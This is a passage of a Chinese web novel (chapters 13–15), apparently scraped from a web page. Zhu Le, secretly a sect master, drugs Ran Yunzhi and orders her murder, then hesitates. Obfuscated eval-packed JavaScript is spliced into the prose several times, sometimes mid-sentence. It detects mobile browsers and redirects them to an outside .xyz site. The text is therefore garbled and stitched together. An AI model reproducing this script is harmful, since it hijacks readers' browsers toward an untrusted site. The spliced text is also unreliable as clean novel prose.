;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14336026|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉,这么晚了就这么呆在男子的房间里不肯离去……他还不能主动提起。 她真的很奇怪,一点都不像那些大家闺秀,果然是娇生惯养嚣张惯了的大小姐,全然不懂礼数。 眼看冉云祉噎住,他顺手递了旁边的杯子。 “谢谢。”她含糊不清的应一声,接过来喝了一口才惊觉不对,“你们竟然还喝酒!” 烛乐眼神古怪,看着她没搭话。 “小孩子不能喝酒。”她习惯性的脱口而出。 小孩子?他自己都记不清有多少岁了,只是他的模样永远维持这个样貌,就算这个女人老去变成一具枯骨,他永远风华正茂,青春正当时。 多可悲,停留在最屈辱的那个模样。 “不对,你跟我也差不多大吧,我还没有问你,你今年几岁了?” “我今年……”他顿了顿,“十七岁了。” “原来你比我还小呀,我十八岁了,不过十七岁可以喝酒了。”她重新给他倒了一杯,撑着双手笑眯眯看他,“来,让我看看你的酒量。” 又是一个企图让他喝酒放下戒备,以此满足自己不可告人的目的的人。 他的声音也冷了下来:“我不会喝酒。” “少来,男人哪有不会喝酒的,无非是你酒量不好,怕出丑。”冉云祉拍拍他的肩膀,“喝杯酒暖暖身子,你看你太热天的,身上怎么这么冷。喝点吧,嗯?” 他心想这女人嘴里没有半句实话,他才不上当。 “你吃了这么多东西,不渴吗?”她见他没动作,继续追问。 她不提还好,一提他顿时觉得口渴异常。戴苍那家伙为了套话究竟放了多少盐? “我去倒茶。”他刚要站起来,冉云祉将他扯了回来。 “哪那么麻烦,喝一杯,如果你真的喝醉了失态,我守着你,如果你真的放浪形骸,我让小二给你煮碗安神汤,保准你睡得跟死猪一样睡到日上三竿。” 烛乐怔忪,她怎么什么话都往外说? 眼看他抿着嘴,冉云祉一拍脑门,恍然大悟:“烛乐,你该不会一杯倒吧。”她摇摇头,突然精神了起来,“我以为我几杯醉已经很差了,原来有比我酒量还差滴酒不能沾的啊,这下我不自卑了。行了行了,你喝茶吧,我不逼你了。” 被这个蠢女人看轻了?念头一但生出,他越看越觉得这个女人的笑容是在讽刺他,他登时感觉到一股屈辱。 他还不至于折在一个蠢女人手里。 他举起酒杯,仰头一饮而尽,冉云祉呆呆的看着他,看着他喉结动了动,放下酒杯时,嘴角还划过一丝酒水,很快被他用衣袖抹去了。 酒水入口,却不觉得辛辣,相反清香四溢,他饮完坐下,向她暼来一眼,这一眼里包含着年轻气盛,和独属于少年不愿服输的倔强。 “我喝了,怎样?”少年原本清朗的声线带了一丝沙哑,此时正目光灼灼的盯着她。 冉云祉捂住砰砰乱跳的心脏:怎么办,刚才那场景,好像有点性感。 然而下一秒,她就看见这人狭长的眼睛眯起,连眼尾都带了一丝艳色,直勾勾盯了她一会,然后脑袋一沉,摔倒在桌子上。 冉云祉傻了眼。 原来还真的有人一杯倒啊! 13.糖画(五) 冉云祉看着倒在桌子上的白衣少年,轻唤了他几声没有回应,无奈的撑着下巴皱眉瞪了他半晌,喃喃自语:“你说你激他干什么……” 她叹了口气,将人从桌子上扶起来。他轻的没什么重量,灼热的呼吸拂过耳边,她不由得一阵酥麻。 烛乐昏昏沉沉间感觉有人在动自己,浓密的睫毛掀开,露出一双沾了露珠般的眼睛。 认出是冉云祉,迷离的视线骤然一冷,手一用力将人推开:“别碰我!” 冉云祉没有防备,被他突如其来的力气推的踉跄了一下,本想把他扶到床上去,结果自己硬是摔到了床上。 “你喝多了,我扶你休息。”这人喝醉了怎么脾气这么大呀,冉云祉硬着头皮向他解释。 烛乐声音冷淡,摇摇晃晃与她保持距离:“扶我休息?你为何费尽心思灌我喝酒,又爬到了我的床上?居心叵测、居心不良。” “……” 冷冰冰嘲讽的控诉让她无言争辩,她迅速离床三尺远,以实际行动告诉他自己对他没有任何坏心思:“那我不碰你,你自己过去休息?” “你想趁我睡着了害我?”他眼神如刀锋般地划过来,不肯移动半步。 她还是第一次瞧见烛乐露出这样凶狠的眼神,一时不知道该说些什么。 半晌,她无奈的摇头:“你之前到底经历了什么?为什么总觉得有人害你?” “出去!”烛乐根本不听她说什么,下了逐客令。 在那样的视线里,冉云祉觉得浑身不自在。 很想说些什么,但估计他这副模样根本听不进去。 “我让小二帮你做一碗醒酒汤。” 她刚踏出房门,凌乱的脚步声自她身后传来,她轻声说:“就算你清醒了点我也……” 回应她的是毫不犹豫的关门声,这人还十分麻利的落了锁,防她防的跟采花贼似的。 她对着门叹了一口气,似乎察觉到有人在看自己,她回过头,清风疏叶,花前月下,眉眼张扬的男人见她看过来,将头心虚地扭向一边。 “咳咳,路过。”虽是如此,话语里却带着一丝笑意。 冉云祉有些不高兴地抱着手臂,向着楼下走去:“三殿下,偷听可不是君子所为。” “我这不是担心你们。”戴苍跟上她的脚步,不以为耻反以为荣,提醒了一句,“我刚刚想让他喝酒的时候,他的眼神很不友善哦。” 她其实也看到了一瞬,还以为是自己生出的错觉,但是烛乐喝多了却没有多说什么,可能是让他联想到了一些不好的事吧。 “如果我不擅长喝酒,别人硬逼着我喝的话,我也会不友善。”冉云祉不以为意,“你看,他没骗你,一杯醉啊,以后不要灌他。” 戴苍严肃地问道:“你没有问他的来历吗?我总觉得他的出现的时机很奇怪。” 这种事情她也考虑过,只是冉云祉简单惯了,向来不愿把人心想的太过复杂。烛乐在那个雨夜没有弃她而去,她不想怀着恶意揣测他的心思。 一句话,她交朋友是真心的。 “三殿下,我知道你为我好。”冉云祉顿住脚步,晚风将她的声音也染上了一丝凉意。 “如果你的心里有一道伤口,你不愿回想,有人还要想尽方法让你把结痂的伤口再次血淋淋的剥开,你会怎么想?” 她的声音清脆,回荡在夏夜中,连周围的蛙鸣蝉声都安静了。 戴苍没想到这丫头平日里嘻嘻哈哈没个正形,却有这样聪明的时候。 还是第一次有人用如此冷峻的口吻说出这些话。 “很残忍的,对吧?”她吐吐舌头,精灵古怪的笑起来,仿佛那一瞬只是他的错觉,“早点休息吧,我一会再上去看看他。” 那里已经没有人了,戴苍收回目光,两指轻轻撑着下巴,脸上流露出一丝自豪的意味来:“不愧是——我师妹的亲妹妹。” -- 烛乐这一觉睡得格外不好,他强撑到半夜不敢睡着,却还是忍不住酒水的麻痹昏睡了过去。 梦里虚虚实实,一会是阴暗的地牢,一会是今晚发生的一切,几道人影交替在他眼前出现,好像他再度回到了地狱里。神智昏沉间无法醒来。 但不同的是有一股荔枝的清香飘进了他的梦里,慢慢抚平了他的紧皱的眉,那些肮脏的气味被遮盖,他几乎是抱着这抹浅香撑过了这个夜晚。 他睁开眼睛的时候,头痛的感觉散去不少,身上还有些无力。 涣散的视线渐渐聚焦,衣服好好的穿在身上,昨晚的残羹冷炙并没有撤下。 荔枝脱了水,看着不再新鲜。他从零散的记忆里想着昨夜似乎喝了一杯酒,又说了些什么,后面发生的事情记不清了,希望自己没有暴露身份才好。 他暗暗自嘲,许久没有喝酒,一杯酒就醉了,这下她应该要数落自己了吧? 他把自己整理好,头发一丝不乱的束成半扎马尾,那副颓丧的模样消失了,镜子里的他清爽精神。 定了定神,一会还要去见她,这副柔弱的姿态更容易博取她的同情。 整理好一切,径直走到门边,掀开门栓,缓缓推开门,外面朝阳升起,晨曦洒在客栈的栏杆,映在倚在墙边睡得正香的粉白身影上,她的周身都沐浴着暖洋洋的光。 想好的说辞被这副场景撞得七零八落,他站在原地瞧了她许久。 半晌,他深吸了一口气,慢慢蹲下来,仔细的端详她。女孩睡得没有防备,垂下的头发搭在脸上,长睫紧闭,时不时颤动一下,像展翅欲飞的小蝴蝶。 这张脸喜怒哀乐都摆在脸上,没什么城府,只需一眼就能看懂她的情绪。可却看不懂她做的每一件事情的目的。 猜不透的事情才最可怕,这样的感觉让他有些慌张。 他不知道,倘若面前的人能够听到他的心声,定会大声道:“为什么非要给所有行动按上目的呢?你猜不到,是因为我的行为本身就没有目的呀。” 他凝眉推了下她的肩膀,将人唤醒。 少女睡眼朦胧,见他正面色古怪的看着自己,打了个哈欠:“你醒了?有没有什么不舒服的?” “你为什么睡在这里?”他紧紧的盯着她的眼睛,妄图从里面解读出些什么。 客栈来往的人这么多,她睡成这样,不怕有人对她起歹心? 这个人的心究竟是什么做的? “哦……我不太放心你,本来想等着你睡下再回去,结果等着等着没忍住睡着了。” 他将门落了锁,却从里面传出痛苦的闷哼,她哪能放心去睡呀?强行进去不知道他又会怎么想。 冉云祉活动了一下有些酸的肩膀,站起身,脚麻的她呲牙咧嘴,连忙扶住身旁的栏杆站稳身形。 “对了,你要不要喝点醒酒汤?” 楼下一直帮他热着,烛乐摇了摇头,还没有从这一幕缓过来:“不需要了。” 从来……从来没有人这样守过他,就算是平常的关怀也许久没有听过了。他失去防备的时候,等待他的不是伤害,而是一整晚无声的守护。 “行,那一会用完早点,我们就出发吧。”她伸个懒腰,正要下楼。 烛乐拦住了她:“你不问我什么吗?你没有什么要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361572|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对我说的?” 虽然他不记得昨晚说了些什么,但他模糊的记着自己对她的态度不好,好像还把她轰出了房间,这与他柔弱的形象大相庭径,她就不觉得奇怪吗? 她好像这才想起来:“哦对,我差点忘了。” 他严阵以待,准备完美应对她的逼问,却没想到她从袖子里翻出一把小匕首,放到了他手心。 很寻常的一把匕首,似乎是随手买来的,没什么亮点,并不贵重。 “你先将就着用,等回到清云山庄给你换个好的武器。” 似乎没想到她什么都不问,他愣了一瞬,“给我这个干什么?” “防身呀。”她眨眨眼,“再有人靠近你想着伤害你的话,你别害怕,直接拿这个捅他。” 再有人伤害他……伤害他的人都已经不在这个世界上了,他动动手指就能解决的,根本用不上这东西。 所有编好的借口没有一个用上,她总是这样不按常理出牌,像一抹捉摸不透的云。 “我昨晚……说什么了?”他感觉有些棘手,敛眉试探着问。 说到这里,冉云祉脸色一僵,摆摆手:“没事……什么也没有发生,忘了昨晚吧,以后我知道你不能沾酒,也不会让你喝酒了。” 她能说自己被当成色狼了吗?甚至端着醒酒汤回来的时候,这人还关着门说什么也不给她开门。 这样糟糕的记忆,还是不要让他知道。 眼看那抹影子就要离他远去,他伸手抓住她的衣角,急忙问:“你为什么对我这么好?” 他很想问,冉云祉,你究竟有什么目的? 少女惊讶的转过脸,看他像看一个怪物。 “天呐,你终于知道我对你好了?嗯,孺子可教。”她开玩笑,却看他表情没什么变化,像是执着得追问一个答案,于是收起嬉笑的神色,难得低下头仔细思索起来。 “我好像也没有做什么吧?这不是朋友之间普通的相处么?若是说一开始救你,换作任何人我都会出手相救。而你,我生病的时候你没有抛下我,也没有趁火打劫。我觉得,你很好,值得深交。”她认认真真的说。 有很多事情她自己都想不明白,她来到这里之后一直都是随心所欲,不会深思熟虑,就像她最初可以旁观烛乐被婴灵吞掉。 她惜命不假,但救人自始至终都是刻在她骨子里的本能,也不需要什么理由,仅仅是她觉得应该这样做。 烛乐沉默了,松开了她的衣角,额前碎发遮住了他的眼睛,在他眼底投下一片晦暗不清的阴影。明明是初升的黎明,他的心底却如同无边的暗夜,一片死寂。 骗我的,骗我的,她在骗我。 他一个字都不会信,人不可能没有理由的接近另外一个人,对他全无保留的好,不可能没有私心。就算是他,如今都是在利用她。 可是他竟然动摇了,事情竟然朝着他不能掌控的方向发展。 如果再这样下去……他又会将信任交托到别人手上,在他放松戒备的时候,成为刺向自己最锋利的一把刀。 一次栽倒,两次栽倒,所有的骄傲尊严荣辱皆被抹去,还不够吗? 他抛下过往,丢掉名字成为无乐的那一天起,他就再也不需要友情,不需要信任,只能与算计和利用永生相伴,直至死亡。 他是对弈的棋手,绝不可能被人掌控,在他的对局里没有输这个字,最差的结果也是玉石俱焚。 一时的施舍并不能改变她虚伪的本性。不管她到底是何目的,以防万一,杀了她。 他再次抬头,望着远去的那抹粉白影子,杀意已现。 14.暗潮(一) 去往隔壁县的路并不平坦,马车行驶在一条久经荒废的碎石路上,摇摇晃晃颠簸了一路。 七八月的烈阳照的手里的马鞍都在发烫,车厢内闷的透不过气来,一点也不舒坦。然而冉云祉却像蜷缩在车厢里,伏在冉云清的膝盖上睡了一路。 冉云清手持一把圆形小扇为她徐徐扇着风,便听得戴苍一声埋怨:“这旧道一个人影都没瞧见,怎么选了这么一条。” 说罢便掀了帘子刚要说话,冉云清做了一个嘘声的动作,示意不要吵醒她。 “二小姐这样还能睡着?” 她压低了声音,轻声问道:“昨夜你们和阿祉聊什么了,今日为何这样困?” “咳。”戴苍将问题抛给一旁垂眸想事情的烛乐。 这少年一路沉默得如同一座不说话的石塑,这么热的天,他身上都不曾流过一滴汗,仿佛进入无我的境界一般遗世独立。 “可能睡得比较晚吧……烛乐,你们说什么了?” 昨晚戴苍与冉云祉分别后便回房休息,自然不知道之后发生的事情,不过今早这两人的反应来看并没有异常。 烛乐顿了一下,维持着一如既往近乎虚假的冷静:“没说什么,她……许是天热才昏昏欲睡,让她好好休息吧。” 他心里烦躁,昨晚的画面来回的在脑海里闪现,许久不曾沾酒的他被她轻轻一句话左右了情绪,然后就这样暴露出自己的破绽。 自己满身是血的凄惨模样还历历在目,连阳光都被他看成了血色。 她今晨送他的匕首还放在他的袖口,提醒他不能妇人之仁,做好的决定没有回头的机会。 直到马车行驶到平里镇,在冉云清的呼唤下,冉云祉才悠悠转醒。 她揉着眼睛,呵欠连天,烛乐盯着她看了一会,忽而好心地拦下她,在她耳边轻声道:“你别去了,乖乖躺着休息吧。” 手指在她睡穴上轻点一下,她感到眼前眩晕的厉害。 “人是我要找的,我不去怎么行……”冉云祉绕过他刚说一句话,却又晕晕乎乎一头栽倒烛乐怀里。 奇怪,之前熬夜也是家常便饭,也不见得这么困,是因为这具身体不行么?她昏昏沉沉的想。 “你很累了,需要休息。”偏偏他的声音还如此轻柔,像潺潺的流水诱哄她入睡一般。 冉云清走过来看了看并未发现异常,在马车周围设下法阵:“你不舒服就好好休息吧,我与师兄进镇子里先找找看。” 她略有些不放心的看了烛乐一眼,终是选择相信他:“小兄弟,你在这边守着她,有异常出声喊我们,不要离开这个法阵,没问题吧?” 烛乐闻言乖顺的点点头。 等到那两个碍事的人走远,烛乐目光迅速冷至极点,他掀开车厢帘子,不见笑意的眸子锁住马车里的女子。 她已经沉沉睡去,对外界所发生的事情一无所知,除非他刻意呼唤,否则她绝对不会醒来。 她对他太过信任,自然想不到,今早她吃的粥里,被他特意放了点东西,以至于她如今精神不济。若是他做的更利索一点,也可直接让她长睡不醒。 一次两次没有将她成功杀掉,他还没有想明白究竟是为什么,万一被她察觉,就更不好下手了,他做事向来追求完美。 他也在猜测,灵泉玉如果真有保护主人不死的能力,对他来说喜忧参半。喜的是这东西若是为他所用,将是他计划中最可靠的宝物。忧的是怎么取下灵泉玉,这成了一道难题。 在睡梦中悄无声息的死去,算是对她之前替他疗伤的一点点回报,但也仅限于此,他的仁慈之心本就所剩无几。 “门主。”身后之人身着黑衣劲装自林中缓缓出现,面具覆面,只露出一双闪着锋芒的双眼。他早已跟随烛乐多时,此刻方才现身。 烛乐没有回头去看,薄唇轻启:“那两个人,交给你了,给他们点教训,不要弄死了。” 不要弄死了,以免他问不到其他神物所在。 那人很快向着两人消失的方向而去,烛乐放下马车帘幕,看了一眼阵法,冷笑一声,熟若无睹地驾着马车驶入偏远的山林。 他要给她选一处合适的地点作为她的葬身之处。 “你答应我不杀她的。”身侧空无一人,稚嫩的童音却无端在他耳边响起,却隐隐带了一丝怒气。 烛乐眼底的淡笑完全消融,双手枕在脑后,散漫地倚靠在车门前,似乎在自言自语。 “小孩,我记得答应你的是‘我’不杀她,但她要是死于别人手里,这可怪不得我违背约定。” 马蹄践起尘土飞扬,惊起一树栖息的鸟儿。一眼望不到边的小路尽头,已经有一个人站在树下。手里的刀尖泛着寒光,令人胆寒。 似乎是看到了树下那条人影,童音里满是惊恐与受骗的委屈:“你一直在骗我?!” “呵。”又是一声讥讽阴鸷的冷笑。 “这世间,承诺是最可笑的谎言。是你太天真,更何况……”他不知是想到了什么,眉眼之间迅速覆起一抹冷霜,说出的每一个字都淬了毒般残忍。 “和你交易只是一时兴起,懒得出手。你自己都知道与我真正交手,你早已不知道死多少次了。” 那日客栈里,豆大的雨点将夜幕碎成四分五裂的星点砸向地面,烛乐狭长的双眼笑得无辜:“我们来做个交易吧?” 那张纯良的脸配上毫无温度的笑容,伴着明明灭灭的烛火,一会像普度众生的神佛,一会像地狱来的阎王。 似乎是受他蛊惑,有什么在吸引着婴灵极速坠落,婴灵颤了颤:“什么交易?” 烛乐的笑容没有变化,他指指婴灵的心口:“把你的妖丹送给我,我就去照顾她,怎样?” 他被冉云祉与戴苍联手所伤,急需妖怪的妖丹修复自身。一想起上山前无意间看到的妖怪婴灵,于是换成这副模样吸引婴灵而来。 谁知她误打误撞用灵泉玉给他疗伤,倒将取婴灵的妖丹一事搁置下来。 到手的猎物怎么可能放走,他向来喜欢让人做这种生死抉择,一边在旁边恶劣的看人挣扎的神情,觉得畅快无比。 婴灵脸上划过一抹凄然,进而变得厉声:“你想杀我?我偏不如你所愿。” 他的周身迅速聚集起浓重的黑雾,对面的少年柔柔弱弱,婴灵只手就可以将这披着狼皮的小羊撕的粉碎。 可少年浑然不惧,站在原地轻蔑的看着他。 “杀了我,若是她病死了……” 只一句话,婴灵浑身的气焰便停息了下来,他的瞳孔震颤着,精致的小脸上扬起一抹薄怒。 可是这怒意落在烛乐眼底,让他看起来半是癫狂半是兴奋。 “乖,你知道该怎么选。” “我不与你做交易,我现在立刻告诉她你是个阴暗小人。”婴灵作势要走,烛乐忽而放声冷笑,婴灵回头看他:“你笑什么?” “你要是告密的话,那我立刻捏断她的脖子。你知道的,我不是妖,灵泉玉拦不住我,我要杀她轻而易举。”他的指尖绕着绕着一缕发丝,眸中因为愉悦带了一分艳丽张扬的神采。 灵泉玉是有灵识的神物,可以阻止恶妖接近,可却防备不了怀有恶意的人类,在这一点,倒不如婴灵直视灵魂的阴阳眼。 小孩子没什么心计,轻轻一唬便吓住了。 见婴灵沉默了,他复又噙了一抹玩味的笑意:“你对她的喜爱,也不过如此。” 婴灵眸中情绪复杂,最终还是认命般叹了口气:“好,我给你妖丹,你答应我不要杀她。” “你觉得,你有资格跟我谈条件么?”烛乐轻笑,随手碾起一张白纸,转瞬之间,那张纸已成为白色的粉末。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376335|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他在用行动告诉他,如果他不听话,冉云祉便会像这样被他碾成粉末。 婴灵抿紧唇,烛乐又笑道:“看你是个小孩子,我就大发慈悲,谁让我心善,我不杀她就是了。这个小家伙有趣的很,就这么死了也怪可惜的。” 烛乐觉得这妖怪蠢到无可救药,仅仅是刚刚认识的人,受了一点点好就记住了,还愿意为这样的人搭上自己的命,献出珍贵的妖丹。 黑衣人去而复返,带来了重新买的衣物,烛乐又吩咐着:“去抓一帖药,熬好送来。” 要他亲自为她煎药,她还远远不配。 他又想到了什么,回过头警告婴灵:“我现在不取你妖丹,明日你自己乖乖在客栈等我。记住,若是说了什么不该说的,我一个不高兴,留给她的可能连全尸都不是了。” “你不会告密的,对吧?” 而他如今竟然心安理得地让别人杀她,令手下动手和他自己动手有什么不同? “姐姐,醒醒!”婴灵着急,大声呼唤着冉云祉。 可冉云祉依旧闭目沉睡,根本没有听到外界的声音,丝毫没有醒来的迹象。 烛乐眉头皱起,不耐烦地重新将他的妖丹封印起来:“好吵。” 世界在这一刻安静下来,无关紧要的小角色退场,眼下正是主角登场的时候。 他要安排一场最精彩的戏:无乐门主执意要取灵泉玉,烛乐拼死守护身受重伤,但始终难敌对手,这出戏,是不是很完美? 妖丹还在剧烈挣扎,他的脸上冷意与恼意混杂在一起,揉了揉额角吩咐:“动手吧,刺准一些。” 睡得沉了,一刀毙命,就不会有任何痛苦。 黑衣人跳上马车,烛乐倚着车厢门,置身事外地冷眼看着他拔出了剑。 寒光骤显,刀尖顷刻间已来到女子的胸前,那剑刺下去的话,不知有多少血会从那里流出来,将这身衣服染成美丽的红色。 下辈子,可要记得不要随意摆出那副恶心的施舍模样,当心被狼心狗肺的东西狠狠撕咬一口。 小家伙,再见了。他想。 * 靴子在地上发出空荡荡的回响,身后的马车被街巷的屋舍挡住不见了踪迹,往前走便是一片茂盛青翠的竹林,冉云清发觉四周情况并不对劲。 似乎太过安静了,好像这里除了他们没有其他人一样。 “系统,还是没有无乐门主的踪迹吗?”她心头莫名涌起一阵不安,这股不安与她初来世界时见到无乐时相同。 她低头询问系统,但这副模样落在戴苍眼里,只是视线漫无目的地望向了一个焦点,他不由得思考是不是师妹并不想与自己说话。 “没有。” 距离无乐门主上一次来清云山庄已经七日有余,越是平静越是反常,似乎将要发生什么似的。她直觉无乐门主应该不是那种轻易放弃的人。 “师妹,还记得你我初遇的时候吗?”戴苍视线看向前方,状似不经意的提起。 冉云清回神,若非必要,实际上她几乎不愿意去窥探原身的记忆。 “记得,第一次见师兄的时候,是一个云淡风轻的晴日,师父拉着我的手,依次向我介绍几位师兄。” 他们初见的时候,小小的戴苍站在一众师兄中格外瞩目,他眉目舒朗,明亮的眸子里闪着自信灵动的光。 他站在桃花树下,发尾随着徐徐的微风拂过,身上红白相间的劲装比天边的晚霞还要耀眼。 “那时师父对我说,这个女孩子就是我的师妹了,要我们好好照顾,不许欺负她。” 回忆起过去的事情,他的嘴角不自觉漫上一抹温柔的笑意,“然后我便说,这个妹妹唇红齿白,长的好生娇嫩,如果打一拳的话,一定会哭吧。” 冉云清想着那副模样,紧张的情绪被缓解,也不由自主地随他笑起来。 15.暗潮(二) 戴苍说话向来随心所欲,想到什么便说些什么。 灵泾山上向来没有女弟子,与其他师兄呆久了便觉得乏味,第一次见到这样的女孩子,几个年轻人都觉得新奇。但戴苍无疑是最叛经离道的那一个。 冉云清也笑:“师兄这话一出口,师父就沉着脸罚师兄去山顶的悬崖边,对着茫茫云海,一边扎马步一边背诫子书。” 灵泾山相比外界而言有如世外桃源。师父严厉,对男弟子管教严苛,稍有不顺便赶去惩罚,却唯独对自己唯一的女弟子和颜悦色。 戴苍嘴上不服,却带着冉云清在修炼之余爬树摘果子,下河捉鱼,弄的一身泥污,为此没少受师父责罚。 有这样一位师兄在,原身也养成了一个活泼的性子,只是她穿来以后,这副模样自然而然消失了。 但总的来说,冉云清在那里度过了一段还算不错的时光。 “师兄怎么突然说这些……”冉云清确实想不明白。 戴苍闻言便转过头来:“自与师妹一别后,我心中日夜牵挂,只是大概过了这些时日,你我已经生疏不少……” 他想要说些什么,结果看到身后一把闪着寒光的剑直直向两人身上袭来,冉云清反应过来,赶紧侧身堪堪避开,后退几步。 出现在他们面前的,是十几个穿着黑衣带着银质面具的人,这束装扮他们并不陌生,先前在清云山庄对上十几次,每一次都被清云山庄打的节节败退。 “是无乐门的人。”冉云清开口,死死盯着面前这几个人。 戴苍面无表情,语调都没有什么变化,开始指指点点评头论足:“都说了好几次了,你们无乐门真没什么品味,这一身跟苍蝇似的,不过你们这死追着不放的态度的确跟苍蝇似的阴魂不散……世界很美好干嘛打打杀杀的。前面那个……你瞪什么瞪啊,难道我说的不对吗?让你们门主出来,我给你们上一堂穿搭课。” 为首的黑衣人被他这一番言辞震住,拿着剑站在呆呆的站在面前,在他们看来,明明戴苍这穿搭更像是花孔雀一般辣眼。 过了好久,黑衣人才做出反应。 只见他理都不理戴苍的挑衅,向着身后的人做了一个手势,顷刻间那群人一拥而上,挥剑直冲两人面门。 一道雪白剑锋横扫而出,接下对方的剑招,是冉云清的回雪剑。 在黑衣人出现的前一秒她就问了系统,无乐门主还是没有踪迹,但想到冉云祉和烛乐两个不会武功的人留在平里镇口,她心头那股不安的感觉越来越甚。 大意了,她本以为这次下山神不知鬼不觉,无乐门应该不会那么快发现,办完了这件事赶紧回去,谁知道这短短的间隙会生出乱子。 “师兄,不要跟他们废话,不能恋战,我们赶紧回去。” 她的话音落下,空气中传来“嗖嗖”声响,飞出几粒石子,黑衣人只能抽剑去挡,随后几片竹叶飞旋而来,空气中只见几道翠绿的残影。 飞花摘叶,皆可为剑。 就在这短短几秒内,回雪剑剑气挥出,割开了黑衣人的皮肉,一时鲜血涌出,通体雪白的剑身也染了红。 这时,长风剑出鞘,戴苍将内力辅以随手捡起的竹叶与石子,打乱了黑衣人进攻的节奏,但十几人显然是经历过残酷训练,拦住两人去路,将两人围成一个圈。 “师妹,你最近功力见长啊。”冉云清与戴苍背对背,她的身后传来戴苍略显轻松的声音。 冉云清淡淡一笑,她刚穿来这个世界对剑招还尚未掌握,在之前围剿无乐门主时不得不请戴苍帮忙,让无乐一次又一次逃脱。 她生性要强,近几日在无人的地方偷偷苦练回雪剑,还好,原身形成的肌肉记忆还在,让她在短时间内寻回七成剑法。 当然,就算她恢复全力,因出世的时间较短,她的功力暂且不能与戴苍相比。 但这些她有苦难言,只化成一句:“师兄莫要小瞧我。” 戴苍笑道:“之前都是与师妹对练,这应该是第一次和师妹并肩作战吧。” “对。”两人面对围攻,还在说笑,语气就像今晚商量吃什么饭一样简单。 但他们知道,担心的不该是面前的黑衣人,而是冉云祉身上的灵泉玉,和暂时未出现的无乐门主。 长风回雪,本就是灵泾山的宝剑,两相合一,威力不容小觑。若是遇上合适的天气,更能将宝剑的威力发挥到极致。 一招一式,白影与金影配合默契,黑衣人出招阴险,配合时不时投掷而来的暗器,凭借人数优势不遑多让,与几道黑衣人纠缠在一起,一时分不出胜负。 这时,冉云清的识海里突然出现系统的声音:“无乐门主出现了!” 冉云清心神一颤,一个不察被黑衣人刺伤了手臂,如雪中一点红梅,晕染在大片云锻之上。 “师妹!”戴苍惊呼一声,目眦俱裂。 * 与远处激烈战况不同的是,山林马车内,刀尖刺下左胸口传来的声音似乎不太对劲,这声音尖利,刀尖还歪了一寸。 原本冷眼旁观的烛乐看过来:“杀个人都不会,无乐门要你这样的废物做什么?” “门主,她怀里好像有什么东西。”黑衣人恭恭敬敬地回答。 烛乐轻轻皱眉:“是什么?” 黑衣人闻言伸手去翻,那双手将要碰到冉云祉的粉白衣衫,他心头突然涌上一抹烦躁,越看越觉得那双手不顺眼。 他还没有考虑清楚这样的情绪,便已经出声止住他的动作:“我来。” 眼前是睡得香甜的人,她不知道梦到了什么,嘴角噙着笑,让他突然想起她灵动的双眼睁开时望着他笑的模样。 他甩了甩头,毫不怜惜地掀开她的外袍,自她怀里翻出一个纸包来,有什么东西自纸包中滚落出来。 烛乐打开纸包来看,里面是一副已经融化到辨不清原本模样的糖画,外面包了糖纸,以至于没有弄脏她的衣服。 她那天吃掉的是虞美人糖画,留下的自然这个是他的,她昨日守了他一晚上,估计没有时间处理掉,以至于融成了一团再也不能吃了。 他的视线落在滚落在车厢里的东西,刚才剑就是刺到了这个瓷瓶才发出来声响,她特意回去和小二要来的这个东西,还神神秘秘不让他看。 烛乐捡起看上面的标签,上面写的是解酒药。 他原本冷漠的脸空白了一瞬,看着这两样东西,心头仿佛有千万种说不清道不明的情绪要炸开一样,所有的一切都变得模糊起来,只有眼前这个人格外的清晰。 为什么?你为什么要这样做? 心烦意乱,然而面前的人却不会回答他。 身侧的黑衣人见他没有动作,出声提醒:“门主,还要杀吗?” 还要杀吗?他也在思考这个问题,心里迟迟做不了决定。 烛乐回过神,极力隐去自己眼中复杂的情绪:“我问你,这个动作,是什么意思?” 他有预感这个动作不简单,他真的很想知道。 然后黑衣人就看到自家主子比了一个无比古怪的姿势,他老老实实回答:“没见过。” 果然是不知道啊……他的视线又落在那张熟睡的脸上。不按常理出牌,像一阵永远捕捉不到的风,吹得他心底也掀起了一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14398052|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微波。 